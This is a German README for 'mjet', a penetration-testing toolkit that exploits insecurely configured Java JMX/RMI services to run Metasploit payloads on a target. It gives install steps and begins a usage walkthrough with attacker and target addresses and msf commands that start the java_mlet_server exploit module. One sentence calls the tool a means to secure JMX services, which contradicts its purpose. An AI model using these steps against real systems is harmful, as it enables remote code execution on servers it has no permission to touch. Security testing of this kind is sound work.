mjet

Mogwai Security Java Management Extensions (JMX) Exploitation-Toolkit

mjet ist ein Werkzeug, das verwendet werden kann, um unsicher konfigurierte JMX-Dienste abzusichern. Es basiert auf dem Blog-Beitrag "Exploiting JMX-RMI" von Braden Thomas/Accuvant "http://www.accuvant.com/blog/exploiting-jmx-rmi" und kann verwendet werden, um beliebige Metasploit-Payloads auf dem Zielsystem auszuführen.

Mjet war ursprünglich als vollständiges Angriffs-Toolkit geplant, jedoch haben wir festgestellt, dass das Metasploit-Github-Repository einen Pull-Request enthält, der grundlegende Java-RMI/Serialisierungs-Unterstützung in nativem Ruby bereitstellen wird. Das ist großartig und entfernt die Java-Abhängigkeit. Also haben wir die Entwicklung dieses Tools eingestellt und werden in naher Zukunft Metasploit-Module erstellen.

mjet besteht aus den folgenden Teilen:

• Ein Metasploit-Modul, das einen "mlet Server" emuliert. Dies ist im Grunde ein Webserver, der eine HTML-Datei hostet, die ein mlet-Tag enthält.
• Ein ManagedBean, das vom mlet-Server-Modul geändert wird, um den ausgewählten Payload einzubinden.
• Ein JAR-Archiv, das verwendet wird, um den unsicheren JMX-Dienst zu kontaktieren.

Installation (mit der Github-Version von Metasploit)

• Kopieren Sie den Ordner "MBean" nach "data/java/metasploit".
• Kopieren Sie java_mlet_server.rb nach "modules/exploits/multi/misc/".

Verwendung

Das Beispiel verwendet die folgenden Systeme: Angreifer: 192.168.178.1 Ziel: 192.168.178.200, JMX-Dienst läuft auf TCP-Port 1616

• Konfigurieren/starten Sie das Metasploit-Modul "java_mlet_server". Das Modul wird als Hintergrundjob ausgeführt.

msf > use exploit/multi/misc/java_mlet_server
msf > set LHOST 192.168.178.1
msf > set SRVHOST 192.168.178.1
msf > set URIPATH /mlet/
msf > run